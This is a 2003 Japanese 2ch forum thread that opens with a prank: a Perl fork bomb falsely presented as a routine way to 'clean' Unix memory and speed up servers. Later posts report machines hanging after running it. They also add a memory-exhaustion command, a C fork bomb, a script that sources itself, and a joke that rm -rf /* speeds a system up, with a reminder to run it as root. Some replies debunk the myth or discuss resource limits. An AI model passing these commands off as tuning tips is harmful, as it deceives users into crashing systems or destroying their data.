- 1 名前:名無しさん@お腹いっぱい。 [03/06/19 01:31.net]
- UNIX系技術者にとってはほぼ常識ですが、簡単にUNIX系OSの
メモリを簡単にクリーニングできます。やり方は、コマンドラインで、 $ perl -e 'while (1) { fork; }' とタイプするだけです。 これでディスクキャッシュになっていたメモリが解放されて、 若干処理が軽くなります。Webサーバ等では数%レスポンスが よくなります。GUIを使っている場合では体感的に早くなったと わかるでしょう。
- 244 名前:名無しさん@お腹いっぱい。 mailto:sage [03/07/04 21:16.net]
- ┏━━━━━━━━┓
┃********┃ ┃********┃ ┃***●****┃ ┃***●●***┃ ┃***●○***┃ ┃********┃ ┃********┃ ┃********┃ ┗━━━━━━━━┛
- 245 名前:名無しさん@お腹いっぱい。 mailto:sage [03/07/04 21:42.net]
- なんでネタがなくなるとオセロなんだよぉ〜萎
つーかおまいらがんがんデータ取りやがれ おながいします。
- 246 名前:名無しさん@お腹いっぱい。 mailto:sage [03/07/04 22:06.net]
- 取るとどうなるとか、誰か有意にまとめてくれるのかとか、そのへんがわからん。
- 247 名前:名無しさん@お腹いっぱい。 mailto:sage [03/07/04 23:32.net]
- 有意?にちゃんで?
プ
- 248 名前:名無しさん@お腹いっぱい。 mailto:sage [03/07/05 00:05.net]
- ┏━━━━━━━━┓
┃○○○○○○○○┃ ┃○******○┃ ┃○**●***○┃ ┃○**●●**○┃ ┃○**●○**○┃ ┃○******○┃ ┃○******○┃ ┃○○○○○○○○┃ ┗━━━━━━━━┛
- 249 名前:名無しさん@お腹いっぱい。 mailto:sage [03/07/05 00:13.net]
- >>247は、どんな有意義な事も無意味にしてしまうくらい場が冷める事平気で言う香具師
学校ではいつも独りぼっち
- 250 名前:名無しさん@お腹いっぱい。 mailto:sage [03/07/05 00:23.net]
- 有意 != 有意義
- 251 名前:名無しさん@お腹いっぱい。 [03/07/05 03:23.net]
- linuxのhdparm(8)を見ると、
Dangerous とか extreme caution という単語がやたら出てくる。 まあDangerousといってもバクハツするわけじゃないだろうし こういうのを使って "簡単!ディスククリーニング" は、できないだろうか。
- 252 名前:名無しさん@お腹いっぱい。 [03/07/05 03:25.net]
- ┏━━━━━━━━┓
┃○○○○○○○○┃ ┃○******○┃ ┃○**●***○┃ ┃○**●●**○┃ ┃○**●●●*○┃ ┃○******○┃ ┃○******○┃ ┃○○○○○○○○┃ ┗━━━━━━━━┛
- 253 名前:名無しさん@お腹いっぱい。 mailto:sage [03/07/05 09:57.net]
- >>251
マザーが、より速度の高いDMA(66)とかをサポートしていて HDDがそれをサポートしてない場合に、HDDの限界を越える設定をすると HDDが逝くかもね。 ためしてないからわからんが、勇者がいればやってくれ。
- 254 名前:名無しさん@お腹いっぱい。 [03/07/05 22:35.net]
- Linux 2.4.20-gentoo-r5でユーザー権限にて>>1を試すと、、、
で2秒くらいでマウスがアボーン、その直後からキーボードによる再起動を試みるも 無理。pingを撃ってみようとノートを起動してから撃ってみるとtime out. しかたなく電源5秒押し。 222さんの報告見て、大丈夫だと思い込んでいたのでちょっとSHOCK!
- 255 名前:名無しさん@お腹いっぱい。 mailto:sage [03/07/05 22:40.net]
- 制限加えてない状態でやると、そうなるだろうねぇ。
- 256 名前:名無しさん@お腹いっぱい。 mailto:sage [03/07/05 22:59.net]
- ユーザ権限で、しかも>>1じゃならんよ。
gentooのpatchがダメなんじゃないの?
- 257 名前:名無しさん@お腹いっぱい。 mailto:age [03/07/05 23:36.net]
- gentooはとんがったもん沢山あててるからなぁ
どれかにマズい不具合がまじってるかもね。
- 258 名前:名無しさん@お腹いっぱい。 mailto:sage [03/07/06 00:54.net]
- むしろ、そのノートPCがあやしいかもしれん。
- 259 名前:名無しさん@お腹いっぱい。 mailto:sage [03/07/06 02:03.net]
- >254
会社にある6台のLinuxマシンで試したらほぼ同様の結果。 サーバ運用中のマシンでやるなよ
- 260 名前:名無しさん@お腹いっぱい。 mailto:sage [03/07/06 02:03.net]
- 定量的な考察ができない連中ばかりいるのはこのスレですか?
- 261 名前:名無しさん@お腹いっぱい。 mailto:sage [03/07/06 02:11.net]
- >>260
煽りなんだろうけど、いまいち意味がわからない。
- 262 名前:名無しさん@お腹いっぱい。 mailto:sage [03/07/06 02:45.net]
- >>1 で落ちない、というだけでは十分ではない。
- 263 名前:222 [03/07/06 03:10.net]
- 私も2.4.20-gentoo-r5ですけどなんの制限してなくても普通に動作してますよ。
ちなみにi686 Intel(R) Pentium(R) 4 CPU 2.40GHz + メモリ1Gの環境です。
- 264 名前:名無しさん@お腹いっぱい。 mailto:sage [03/07/06 03:12.net]
- じゃあ運がよかったんだね。
だが、>>263の運もここまでだった。 まさか、あんなことになるなんて・・・
- 265 名前:222 mailto:sage [03/07/06 03:44.net]
- 運?
とりあえず>>1みたいにforkせずとも以下のコマンドで見事にお亡くなりになる事は確認しました。 しかもこっちの方がメモリクリーニングっぽい。 perl -e '${"tmp".$i}=[0..100000000] while ($++i)'
- 266 名前:訂正 mailto:sage [03/07/06 03:53.net]
- ループ関係なく
${"tmp".$i}=[0..100000000] だけで死んだみたいです。
- 267 名前:名無しさん@お腹いっぱい。 mailto:sage [03/07/06 07:10.net]
- それはもうこのスレとは無関係の固有問題かと
- 268 名前:名無しさん@お腹いっぱい。 mailto:sage [03/07/06 10:06.net]
- >>265
FreeBSD-CURRENTですが、一瞬で Out of memory! とでるだけで何も起きません。 一桁減らして perl -e '${"tmp".$i}=[0..10000000] while ($++i)' にしてみるとしばらくの間重くなったけど正常に終了。
- 269 名前:名無しさん@お腹いっぱい。 mailto:sage [03/07/06 10:12.net]
- perl -e '${"tmp".$i}=[0..100000000] while ($++i)'
Out of memory! gentooでも同じく。 よくわからないんだけど、これは一体なにをしてるんだ?
- 270 名前:222 mailto:sage [03/07/06 11:53.net]
- 0,1,2,...という値が入った100000000個の要素を持つ配列を永遠に作り続ける
という物です。(($++i)は(++$i)の間違いでした)実際には以下のもので代用可能です。 perl -e '@tmp = (0..100000000);' ちなみに家の場合0を一つ増やして perl -e '@tmp = (0..1000000000); とするとちゃんとOut of memory!と出てくれます。
- 271 名前:名無しさん@お腹いっぱい。 mailto:sage [03/07/06 12:30.net]
- 結局>>1のプロセス食い潰しか
>>270のスワップ食い潰し くらいしか案が出ないのか。 Win2kでも試してみたが、やっぱり資源が尽きるとダメだな。 LinuxとFreeBSDでも制限かけてない状態で資源食い潰すようになるとダメだめだ。 と、ここまではプロセスの話。 メモリとスワップの食い潰しは制限できるもんだろうか? Win2kと、Linux、FreeBSD共に数秒後、HDDがガリガリ言いだして 放置しておくとと固まってるな。 やはり基本的に「スワップはったら負け」なんだろうか。 2kの方は、ページングファイル固定にしとくと、寿命が決定される。 可変にしとくと、HDD満タンになるまでガリガリ言ってるな。 満タンになったら氏んだ。 その間、作業らしい作業はできなかった。どのOSでもね。 FreeBSDのやりかたわからんけど、Linuxの方はAlt+SysRqで復旧は可能です。 Windowsは何もできなくなって、電源OFFしますた。
- 272 名前:名無しさん@お腹いっぱい。 mailto:sage [03/07/06 12:49.net]
- メモリは普通にlimitがかけられるじゃん。でもswapはだめげ?
そもそも仮想メモリシステムの上では、ユーザは自分が実メモリにのってるの かswapにのってるのか意識できないからなぁ.... ディスクI/O とか swap ネット帯域とか cpu時間とか メモリ量とか 帯域とか いろいろ重み付けで加算した「負荷」を定義して、「負荷」をlimitすればい いのかな。わりと挙動が予測できなくてイヤっぽいんだけど。
- 273 名前:名無しさん@お腹いっぱい。 [03/07/06 14:32.net]
- ┏━━━━━━━━┓
┃○○○○○○○○┃ ┃○●●●●●●○┃ ┃○●●●●●●○┃ ┃○●●●●●●○┃ ┃○●●●●●●○┃ ┃○●●●●●●○┃ ┃○●●●●●●○┃ ┃○○○○○○○○┃ ┗━━━━━━━━┛
- 274 名前:名無しさん@お腹いっぱい。 mailto:sage [03/07/07 00:34.net]
- ┏━━━━━━━━┓
┃○○○○○○○○┃ ┃○●●●●●●○┃ ┃○●○○○○●○┃ ┃○●○●●○●○┃ ┃○●○●●○●○┃ ┃○●○○○○●○┃ ┃○●●●●●●○┃ ┃○○○○○○○○┃ ┗━━━━━━━━┛
- 275 名前:名無しさん@お腹いっぱい。 mailto:sage [03/07/08 10:37.net]
- minfree近所まで減ったらOSが勝手にやってくれるのに・・・
なんでいちいちンなこと実行するんですか?
- 276 名前:名無しさん@お腹いっぱい。 mailto:sage [03/07/09 00:31.net]
- ここに真面目なひとが....
- 277 名前:名無しさん@お腹いっぱい。 mailto:sage [03/07/09 00:36.net]
- × 真面目な
○ 空気を読む神経回路が備わってない
- 278 名前:tatibana mailto:sage [03/07/12 13:20.net]
- >>150
失礼ですね どこの誰かもわからない低能と一緒にしないでいただきたい
- 279 名前:あぼーん mailto:あぼーん [あぼーん.net]
- あぼーん
- 280 名前:名無しさん@お腹いっぱい。 [03/07/28 14:03.net]
- 結局カーネルとかいじらないで簡単安全メモリクリーニングってできないの?
- 281 名前:名無しさん@お腹いっぱい。 mailto:sage [03/07/28 14:18.net]
- メモリクリーニングするといいことあるの?
- 282 名前:名無しさん@お腹いっぱい。 [03/07/28 15:09.net]
- 勝手にディスクキャッシュにメモリ使われるのうざいからどうにかしたいんだよね。
それが有効利用だってことは良くわかってる。でもやめさせたい。メモリを勝手に使うな。
- 283 名前:名無しさん@お腹いっぱい。 [03/07/28 16:12.net]
- >>282
FreeBSD 4.x, 5.xならsysctl debug.vfscache=0でもするんだな。
- 284 名前:あぼーん mailto:あぼーん [あぼーん.net]
- あぼーん
- 285 名前:あぼーん mailto:あぼーん [あぼーん.net]
- あぼーん
- 286 名前:名無しさん@お腹いっぱい。 mailto:sage [03/07/28 18:06.net]
- それが有効利用だってことは良くわかってる
それが有効利用だってことは良くわかってる それが有効利用だってことは良くわかってる
- 287 名前:名無しさん@お腹いっぱい。 mailto:sage [03/07/28 18:17.net]
- メモリを勝手に使うな。
メモリを勝手に使うな。 メモリを勝手に使うな。
- 288 名前:名無しさん@お腹いっぱい。 mailto:sage [03/07/28 19:39.net]
- なんか妙なメモリ観が出たな。おもしろいから発展させてよ
- 289 名前:名無しさん@お腹いっぱい。 mailto:sage [03/07/28 19:57.net]
- まさにドズという欠陥OSとそのアプリがもたらした電波だな。
- 290 名前: mailto:sage [03/07/28 20:24.net]
- 犬板で割とよくある質問
---- From: [177] login:Penguin <> Date: 03/07/23 20:21 ID:KoJVwpXS freeで実メモリを確認すると、数時間後にはすぐfreeがゼロ近くになってしまう。 +/- buffers, cacheを見ればちゃんとfreeが豊富にあるからいいけど、 精神的にbuffersやcacheじゃなくて実メモリが回復して欲しい。 そんなコマンドはないの? くだらねえ質問はここに書きこめ! Part53 [Linux] pc.2ch.net/test/read.cgi/linux/1058846630/177
- 291 名前:名無しさん@お腹いっぱい。 mailto:sage [03/07/29 00:17.net]
- >>289
あれにはVM無いからメインメモリーの残量が命だったもんねぇ。(遠い目) Windows 9xシリーズにはVMはあったけれど似たような欠陥があったし。 ソフトを動かしていないときにはメモリー使用率が低いほうがいいと思うのはM$のせいだな。
- 292 名前:名無しさん@お腹いっぱい。 mailto:sage [03/07/29 01:32.net]
- >>291
漏れはむしろ、 MS-DOSの640KBの壁に、チャレンジしてて、そのまんま来ちゃった人 だと思うのだがどうだ?
- 293 名前:名無しさん@お腹いっぱい。 mailto:sage [03/07/29 08:21.net]
- >>292
むしろ古参の技術者に洗脳された口と見た。 チャレンジしていたような世代が今ごろ犬使うか? メモリー開放伝説はsync;halt伝説とかfinal method伝説とかと同じ類だな。
- 294 名前:名無しさん@お腹いっぱい。 [03/07/29 10:36.net]
- 俺もディスクキャッシュやめさせたい。ていうか減らしたい。
実メモリの空きしか見てないどうしようもないソフトがあって。 ディスクキャッシュで埋め尽くされるとそこで止まっちゃうんだよな。
- 295 名前:名無しさん@お腹いっぱい。 mailto:sage [03/07/29 13:16.net]
- >>294
malloc() すればぁ。実装によってはデータ埋めてやらないと いけないかも。cmalloc() だとどうかな
- 296 名前:名無しさん@お腹いっぱい。 mailto:sage [03/07/29 13:40.net]
- cmalloc
- 297 名前:名無しさん@お腹いっぱい。 [03/07/29 14:28.net]
- cmallocってC言語・・・?
要するにメモリ確保するだけして開放するプログラムを自分で書けってことだよね?
- 298 名前:名無しさん@お腹いっぱい。 [03/07/29 14:57.net]
- あはは
- 299 名前:あぼーん mailto:あぼーん [あぼーん.net]
- あぼーん
- 300 名前:あぼーん mailto:あぼーん [あぼーん.net]
- あぼーん
- 301 名前:名無しさん@お腹いっぱい。 [03/07/29 15:44.net]
- 埋めるのなんざmemsetで一発だろ
- 302 名前:名無しさん@お腹いっぱい。 [03/07/29 15:49.net]
- free(calloc(N,1));
- 303 名前:あぼーん mailto:あぼーん [あぼーん.net]
- あぼーん
- 304 名前:名無しさん@お腹いっぱい。 mailto:sage [03/07/30 00:28.net]
- >>297
多分callocって言いたかったんじゃないの? 確保するだけでなく何らかのアクセスをしてpage faultを起こしてやらないとメモリーは解放されない。 callocってmallocしたあとに全領域をbzeroして書き換えてる(FreeBSD 4.8Rの実装)確保後のアクセスまでやってくれるってことだろうね。
- 305 名前:名無しさん@お腹いっぱい。 mailto:sage [03/07/30 07:29.net]
- memsetとかallocとかいってるヤシ・・・
ネタだよね?
- 306 名前:名無しさん@お腹いっぱい。 mailto:sage [03/07/30 11:30.net]
- >>294
> 実メモリの空きしか見てないどうしようもないソフトがあって。 キャッシュも見るようにおながいしてみれば?
- 307 名前:294 mailto:sage [03/07/30 15:30.net]
- >>304
プログラムのことはさっぱりわからないんだけど、それらはC言語の命令・・・なんだよね? >>306 市販パッケージソフトなのでどうにもならないです・・・。
- 308 名前:304 mailto:sage [03/07/31 00:09.net]
- >>305
自分で試す気は毛頭無いけれど、まじめに書いているつもり。
- 309 名前:あぼーん mailto:あぼーん [あぼーん.net]
- あぼーん
- 310 名前:名無しさん@お腹いっぱい。 mailto:sage [03/08/03 19:08.net]
- >>307
>C言語の命令 関数だろ、C なら。
- 311 名前:名無しさん@お腹いっぱい。 [03/08/04 09:32.net]
- >>310
初心者にむなしいツッコミすんな
- 312 名前:あぼーん mailto:あぼーん [あぼーん.net]
- あぼーん
- 313 名前:名無しさん@お腹いっぱい。 mailto:sage [03/08/04 19:33.net]
- 俺の頭にC言語の命令をとばすのはやめろおお
- 314 名前:名無しさん@お腹いっぱい。 mailto:sage [03/08/04 21:03.net]
- win系はfork関数サポートしてないんじゃなかったっけ?
- 315 名前:名無しさん@お腹いっぱい。 mailto:sage [03/08/05 01:49.net]
- fork関数
fork関数 fork関数 と。
- 316 名前:名無しさん@お腹いっぱい。 mailto:sage [03/08/06 00:53.net]
- >>314 張っとく
www.microsoft.com/japan/msdn/library/default.asp?url=/japan/msdn/library/ja/vccore/html/_core_port_from_unix_to_win32.asp
- 317 名前:名無しさん@お腹いっぱい。 mailto:sage [03/08/06 04:09.net]
- システムコール入り口への関数
と捉えると、fork関数でもよいではないかよいではないか
- 318 名前:名無しさん@お腹いっぱい。 [03/08/07 13:15.net]
- 最近の話題サパーリ意味わからん
- 319 名前:名無しさん@お腹いっぱい。 mailto:sage [03/08/08 01:44.net]
- forkダンス
forkダンス forkダンス と。
- 320 名前:名無しさん@お腹いっぱい。 mailto:sage [03/08/09 17:52.net]
- >>1を走らせている状態(Load averageが1000を超えているような状態)でも
操作はできるけれど、ssh でログインできない。 sshd の親プロセスを nice -n -15 にしておいても、forkされる子プロセスの 優先度が 0 になってしまう。子プロセスの優先度も -15 にするためには、 openssh のソースを修正しなくちゃいけない?
- 321 名前:314 mailto:sage [03/08/12 11:32.net]
- >>316
遅レススマソ。THX
- 322 名前:あぼーん mailto:あぼーん [あぼーん.net]
- あぼーん
- 323 名前:名無しさん@お腹いっぱい。 mailto:sage [03/08/16 12:28.net]
- むしろコスモクリーニング
- 324 名前:名無しさん@お腹いっぱい。 [03/09/07 01:51.net]
- 小宇宙クリーニング
- 325 名前:名無しさん@お腹いっぱい。 mailto:sage [03/09/07 10:34.net]
- あるいはメモリリーキング
- 326 名前:名無しさん@お腹いっぱい。 [03/09/07 18:28.net]
- リナックスは糞
これ常識
- 327 名前:名無しさん@お腹いっぱい。 [03/09/08 00:55.net]
- なんじゃこりやぁぁぁぁぁぁぁぁぁぁ
- 328 名前:名無しさん@お腹いっぱい。 mailto:sage [03/09/08 01:53.net]
- >>95
昔、MacOS8で応答しなくなり、二時間たっても回復しないから帰った 次の日見たら、応答してて待っていたダイアログ出してたw
- 329 名前:名無しさん@お腹いっぱい。 [03/09/08 13:10.net]
- 放置プレイ
- 330 名前:名無しさん@お腹いっぱい。 [03/09/08 23:19.net]
- Mac埼京
- 331 名前:名無しさん@お腹いっぱい。 [03/09/09 01:15.net]
- $echo main(){ while(!fork()); return 0; } >init.c ; gcc -o init init.c; ./init
とかだとどうかな?
- 332 名前:名無しさん@お腹いっぱい。 [03/09/09 15:03.net]
- 脂肪
- 333 名前:名無しさん@お腹いっぱい。 [03/09/09 23:31.net]
- リナックス脂肪
- 334 名前:あぼーん mailto:あぼーん [あぼーん.net]
- あぼーん
- 335 名前:名無しさん@お腹いっぱい。 mailto:sage [03/09/10 00:15.net]
- 強制シャットダウンでディスクを壊さん程度に。
- 336 名前:名無しさん@お腹いっぱい。 mailto:sage [03/09/10 07:25.net]
- すげー、rm -rf /* やったら超速くなりました
- 337 名前:名無しさん@お腹いっぱい。 [03/09/10 13:51.net]
- すげー、rm -rf >>336 やったら超速くなりました
- 338 名前:あぼーん mailto:あぼーん [あぼーん.net]
- あぼーん
- 339 名前:名無しさん@お腹いっぱい。 [03/09/11 01:27.net]
- レイチェルカーソンって沈黙の春とかいうの書いた人だっけか。
- 340 名前:名無しさん@お腹いっぱい。 mailto:sage [03/09/11 01:31.net]
- >>336
rootになるのを忘れるな
- 341 名前:名無しさん@お腹いっぱい。 [03/09/11 02:42.net]
- #!/bin/sh
. $0
- 342 名前:名無しさん@お腹いっぱい。 [03/09/11 20:12.net]
- #!/bin/sh
case $1 in >>1) echo "逝ってよし" ;; *) echo "ウンコ喰え" exit 1 ;; esac exit 0
- 343 名前:名無しさん@お腹いっぱい。 mailto:sage [03/09/11 20:14.net]
- >>338 すげー誤爆だな、
>>339 そうです。
- 344 名前:名無しさん@お腹いっぱい。 [03/09/12 02:48.net]
- 簡単!ディスククリーニング
|

|